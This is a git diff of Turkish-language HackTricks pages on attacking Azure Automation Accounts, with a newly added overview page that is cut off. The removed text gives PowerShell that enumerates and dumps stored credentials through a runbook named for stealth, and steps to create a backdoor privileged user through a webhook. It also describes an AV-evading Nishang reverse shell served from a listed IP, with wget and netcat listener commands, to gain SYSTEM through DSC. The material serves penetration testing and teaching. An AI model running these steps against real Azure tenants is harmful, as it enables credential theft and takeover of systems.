Sayım -```powershell -# Check user right for automation -az extension add --upgrade -n automation -az automation account list # if it doesn't return anything the user is not a part of an Automation group - -# Gets Azure Automation accounts in a resource group -Get-AzAutomationAccount - -# List & get DSC configs -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug -## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) - -# List & get Run books code -Get-AzAutomationAccount | Get-AzAutomationRunbook -Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp - -# List credentials & variables & others -Get-AzAutomationAccount | Get-AzAutomationCredential -Get-AzAutomationAccount | Get-AzAutomationVariable -Get-AzAutomationAccount | Get-AzAutomationConnection -Get-AzAutomationAccount | Get-AzAutomationCertificate -Get-AzAutomationAccount | Get-AzAutomationSchedule -Get-AzAutomationAccount | Get-AzAutomationModule -Get-AzAutomationAccount | Get-AzAutomationPython3Package -## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them - -# List hybrid workers -Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName -``` -### Bir Runbook Oluşturun -```powershell -# Get the role of a user on the Automation account -# Contributor or higher = Can create and execute Runbooks -Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ - -# Create a Powershell Runbook -Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose - -# Publish the Runbook -Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose - -# Start the Runbook -Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose -``` -### Bir Run Book Kullanarak Bir Otomasyon Hesabında Tanımlanan Kimlik Bilgilerini ve Değişkenleri Sızdırma -```powershell -# Change the crdentials & variables names and add as many as you need -@' -$creds = Get-AutomationPSCredential -Name -$runbook_variable = Get-AutomationVariable -name -$runbook_variable -$creds.GetNetworkCredential().username -$creds.GetNetworkCredential().password -'@ | out-file -encoding ascii 'runbook_get_creds.ps1' - -$ResourceGroupName = '' -$AutomationAccountName = '' -$RunBookName = 'Exif-Credentials' #Change this for stealthness - -# Creare Run book, publish, start, and get output -New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell -Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force -Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -start-sleep 20 -($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt -``` -> [!NOTE] -> Mevcut bir Run Book'u değiştirerek ve web konsolundan aynı şeyi yapabilirsiniz. - -### Otomatik Yüksek Yetkili Kullanıcı Oluşturma İçin Kurulum Adımları - -#### 1. Bir Otomasyon Hesabı Başlatın - -- **Gerekli Eylem:** Yeni bir Otomasyon Hesabı oluşturun. -- **Özel Ayar:** "Azure Run As hesabı oluştur" seçeneğinin etkin olduğundan emin olun. - -#### 2. Runbook'u İçe Aktarın ve Ayarlayın - -- **Kaynak:** Örnek runbook'u [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst) adresinden indirin. -- **Gerekli Eylemler:** -- Runbook'u Otomasyon Hesabına içe aktarın. -- Runbook'u çalıştırılabilir hale getirmek için yayınlayın. -- Dış tetikleyicileri etkinleştirmek için runbook'a bir webhook ekleyin. - -#### 3. AzureAD Modülünü Yapılandırın - -- **Gerekli Eylem:** AzureAD modülünü Otomasyon Hesabına ekleyin. -- **Ek Adım:** Tüm Azure Otomasyon Modüllerinin en son sürümlerine güncellendiğinden emin olun. - -#### 4. İzin Ataması - -- **Atanacak Rolleri:** -- Kullanıcı Yöneticisi -- Abonelik Sahibi -- **Hedef:** Bu rolleri gerekli yetkiler için Otomasyon Hesabına atayın. - -#### 5. Potansiyel Erişim Kaybı Farkındalığı - -- **Not:** Bu tür bir otomasyonu yapılandırmanın abonelik üzerindeki kontrolü kaybetmenize neden olabileceğini unutmayın. - -#### 6. Kullanıcı Oluşturmayı Tetikleyin - -- Yeni bir kullanıcı oluşturmak için webhook'u tetikleyin ve bir POST isteği gönderin. -- Sağlanan PowerShell betiğini kullanın, `$uri`'yi gerçek webhook URL'nizle değiştirdiğinizden ve `$AccountInfo`'yu istenen kullanıcı adı ve şifre ile güncellediğinizden emin olun. -```powershell -$uri = "" -$AccountInfo = @(@{RequestBody=@{Username="";Password=""}}) -$body = ConvertTo-Json -InputObject $AccountInfo -$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body -``` -## Referanslar - -- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) -- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) -- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md deleted file mode 100644 index 10860fd06..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md +++ /dev/null @@ -1,57 +0,0 @@ -# Az - State Configuration RCE - -{{#include ../../../../banners/hacktricks-training.md}} - -**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - -### Uzaktan Sunucu (C2) Altyapı Hazırlığı ve Adımlarının Özeti - -#### Genel Bakış - -Bu süreç, Windows Defender'ı atlatmak için tasarlanmış, `RevPS.ps1` adında değiştirilmiş bir Nishang `Invoke-PowerShellTcp.ps1` yükünü barındırmak üzere bir uzaktan sunucu altyapısının kurulmasını içerir. Yük, IP'si `40.84.7.74` olan bir Kali Linux makinesinden basit bir Python HTTP sunucusu kullanılarak sunulmaktadır. İşlem birkaç adımda gerçekleştirilir: - -#### Adım 1 — Dosyaları Oluştur - -- **Gerekli Dosyalar:** İki PowerShell betiğine ihtiyaç vardır: -1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir İstenilen Durum Yapılandırması (DSC) dosyasıdır. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir. -2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betiktir, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur. -- **Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortam için, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir. - -#### Adım 2 — Yapılandırma Dosyasını Ziple - -- `reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Storage Account'a transfer için hazır hale gelir. -```powershell -Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip -``` -#### Adım 3 — Depolama Bağlamını Ayarla ve Yükle - -- Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış Azure Storage konteyneri olan azure-pentest'e yüklenir. -```powershell -Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx -``` -#### Adım 4 — Kali Kutusunu Hazırlama - -- Kali sunucusu RevPS.ps1 yükünü bir GitHub deposundan indirir. -```bash -wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 -``` -- Script, hedef Windows VM ve ters shell için port belirtmek üzere düzenlenir. - -#### Adım 5 — Yapılandırma Dosyasını Yayınla - -- Yapılandırma dosyası çalıştırılır ve ters shell scripti, Windows VM üzerindeki belirtilen konuma dağıtılır. - -#### Adım 6 — Payload'ı Barındır ve Dinleyici Kur - -- Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur. -```bash -sudo python -m SimpleHTTPServer 80 -sudo nc -nlvp 443 -``` -- Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder. - -#### Sonuç - -Bu sürecin başarılı bir şekilde yürütülmesi, kimlik bilgisi dökümü veya saldırının birden fazla VM'ye genişletilmesi gibi daha fazla eylem için birçok olasılık açar. Kılavuz, Azure Automation DSC alanında sürekli öğrenmeyi ve yaratıcılığı teşvik eder. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md new file mode 100644 index 000000000..de027527a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -0,0 +1,227 @@ +# Az - Automation Accounts + +{{#include ../../../../banners/hacktricks-training.md}} + +## Temel Bilgiler + +Azure Automation Hesapları, Microsoft Azure'da kaynak yönetimi, yapılandırma ve güncellemeler gibi **görevleri otomatikleştirmeye** yardımcı olan bulut tabanlı hizmetlerdir. **Runbook'lar** (çalıştırılan otomasyon için betikler), **programlar** ve otomasyon **işlerini** çalıştırmak için **hibrit işçi grupları** sağlar, bu da kod olarak altyapı (IaC) ve süreç otomasyonu ile bulut kaynaklarını yönetmede verimlilik ve tutarlılığı artırır. + +### Ayarlar + +- **Kimlik Bilgileri**: Şifre yalnızca otomasyon hesabındaki bir runbook içinde erişilebilir, kullanıcı adlarını ve şifreleri **güvenli bir şekilde saklamak için** kullanılır. +- **Değişkenler**: Runbook'larda kullanılabilecek **yapılandırma verilerini** saklamak için kullanılır. Bu, API anahtarları gibi hassas bilgiler de olabilir. Değişken **şifrelenmiş olarak saklanıyorsa**, yalnızca otomasyon hesabındaki bir runbook içinde kullanılabilir. +- **Sertifikalar**: Runbook'larda kullanılabilecek **sertifikaları** saklamak için kullanılır. +- **Bağlantılar**: Harici hizmetlere ait **bağlantı bilgilerini** saklamak için kullanılır. Bu, **hassas bilgiler** içerebilir. +- **Ağ Erişimi**: **Herkese açık** veya **özel** olarak ayarlanabilir. + +## Runbook'lar & İşler + +Azure Automation'daki bir Runbook, bulut ortamınızda görevleri otomatik olarak **yerine getiren bir betiktir**. Runbook'lar PowerShell, Python veya Grafik editörlerde yazılabilir. VM yönetimi, yamanlama veya uyumluluk kontrolleri gibi idari görevleri otomatikleştirmeye yardımcı olurlar. + +**Runbook'lar** içindeki **kod**, **hassas bilgileri** içerebilir (örneğin kimlik bilgileri). + +`Automation Accounts` --> `